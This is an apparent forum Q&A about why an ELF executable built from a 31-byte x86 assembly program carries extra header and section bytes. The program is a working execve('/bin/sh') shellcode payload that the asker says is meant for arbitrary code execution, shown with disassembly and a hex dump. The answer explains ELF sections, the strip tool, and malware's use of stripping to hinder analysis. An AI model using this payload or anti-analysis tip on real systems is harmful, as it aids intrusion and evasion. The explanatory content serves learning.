Large header/footer of shellcode bytes when going from x86 asm to exe?

Question

I coded a simple bash shell in x86 and compiled it via nasm and ld into an exe. When I do this I can see the 31 bytes of instructions that I actually made but there are 100's of bytes before and after my code that get added to the executable. It looks like some ELF header and large footer are added. What are these used for? Also, is there a way to compile without these bytes ending up in the final exe? Ultimately, this shellcode is intended for arbitrary code execution of a bash shell.

$ cat shell.asm 
section .text

global _start

_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

mov al, 11 
jmp short string_loc
string_loc_ret:
pop ebx
mov [ebx+7],cl
int 0x80

string_loc:
call string_loc_ret
db '/bin/shN'

$  nasm -f elf shell.asm
$  ld -m elf_i386 -o shell_ shell.o

$  objdump -d shell_

shell_:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   31 c0                   xor    %eax,%eax
 8048062:   31 db                   xor    %ebx,%ebx
 8048064:   31 c9                   xor    %ecx,%ecx
 8048066:   31 d2                   xor    %edx,%edx
 8048068:   b0 0b                   mov    $0xb,%al
 804806a:   eb 06                   jmp    8048072 <string_loc>

0804806c <string_loc_ret>:
 804806c:   5b                      pop    %ebx
 804806d:   88 4b 07                mov    %cl,0x7(%ebx)
 8048070:   cd 80                   int    $0x80

08048072 <string_loc>:
 8048072:   e8 f5 ff ff ff          call   804806c <string_loc_ret>
 8048077:   2f                      das    
 8048078:   62 69 6e                bound  %ebp,0x6e(%ecx)
 804807b:   2f                      das    
 804807c:   73 68                   jae    80480e6 <string_loc+0x74>
 804807e:   4e                      dec    %esi

But after compiling this is what the exe ultimately has. You can see my assembly from bytes 96 to 126:

$  xxd shell_
00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 0300 0100 0000 6080 0408 3400 0000  ........`...4...
00000020: 7001 0000 0000 0000 3400 2000 0100 2800  p.......4. ...(.
00000030: 0500 0400 0100 0000 0000 0000 0080 0408  ................
00000040: 0080 0408 7f00 0000 7f00 0000 0500 0000  ................
00000050: 0010 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 31c0 31db 31c9 31d2 b00b eb06 5b88 4b07  1.1.1.1.....[.K.
00000070: cd80 e8f5 ffff ff2f 6269 6e2f 7368 4e00  ......./bin/shN.
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 6080 0408 0000 0000 0300 0100  ....`...........
000000a0: 0100 0000 0000 0000 0000 0000 0400 f1ff  ................
000000b0: 0b00 0000 6c80 0408 0000 0000 0000 0100  ....l...........
000000c0: 1a00 0000 7280 0408 0000 0000 0000 0100  ....r...........
000000d0: 2a00 0000 6080 0408 0000 0000 1000 0100  *...`...........
000000e0: 2500 0000 7f90 0408 0000 0000 1000 0100  %...............
000000f0: 3100 0000 7f90 0408 0000 0000 1000 0100  1...............
00000100: 3800 0000 8090 0408 0000 0000 1000 0100  8...............
00000110: 0073 6865 6c6c 2e61 736d 0073 7472 696e  .shell.asm.strin
00000120: 675f 6c6f 635f 7265 7400 7374 7269 6e67  g_loc_ret.string
00000130: 5f6c 6f63 005f 5f62 7373 5f73 7461 7274  _loc.__bss_start
00000140: 005f 6564 6174 6100 5f65 6e64 0000 2e73  ._edata._end...s
00000150: 796d 7461 6200 2e73 7472 7461 6200 2e73  ymtab..strtab..s
00000160: 6873 7472 7461 6200 2e74 6578 7400 0000  hstrtab..text...
00000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000190: 0000 0000 0000 0000 1b00 0000 0100 0000  ................
000001a0: 0600 0000 6080 0408 6000 0000 1f00 0000  ....`...`.......
000001b0: 0000 0000 0000 0000 1000 0000 0000 0000  ................
000001c0: 0100 0000 0200 0000 0000 0000 0000 0000  ................
000001d0: 8000 0000 9000 0000 0300 0000 0500 0000  ................
000001e0: 0400 0000 1000 0000 0900 0000 0300 0000  ................
000001f0: 0000 0000 0000 0000 1001 0000 3d00 0000  ............=...
00000200: 0000 0000 0000 0000 0100 0000 0000 0000  ................
00000210: 1100 0000 0300 0000 0000 0000 0000 0000  ................
00000220: 4d01 0000 2100 0000 0000 0000 0000 0000  M...!...........
00000230: 0100 0000 0000 0000                      ........

Answer 1

I coded a simple bash shell in x86 and compiled it via nasm and ld into an exe

This program was not compiled. Rather, it was assembled by NASM, which generated object code based on assembly source code, and then linked by ld.

Sections

When the assembly source text is transformed into object code by the assembler, an object file containing the object code is created by the assembler as well. This object file conforms to the System V ABI and has sections that are used by the linker to create the final executable ELF binary from the object file.

In this case, it looks like NASM created an object file with an ELF header and the following sections (readelf -SW <binary> prints section information about the binary):

• the .text section, containing the executable instructions
• the .symbtab section, containing a symbol table
• the .shstrtab section, holding section names
• the .strtab section, holding strings such names associated with symbol table entries

ld then used the information in these sections to create the executable ELF binary.

Section Removal from the executable

Once the final executable ELF binary has been created, section information and symbols are no longer required (unless the program uses functions in dynamically linked libraries). Only segments are required for the program to be loaded into memory and executed by the program loader in the kernel. Therefore, the .symbtab, .strtab and .shstrtab sections can be removed from the executable ELF binary using the strip utility and the -R <section name> option.

Section information is commonly removed from ELF malware since it prevents the executable from being disassembled by objdump or analyzed by gdb, since these utilities rely on information in the section header table.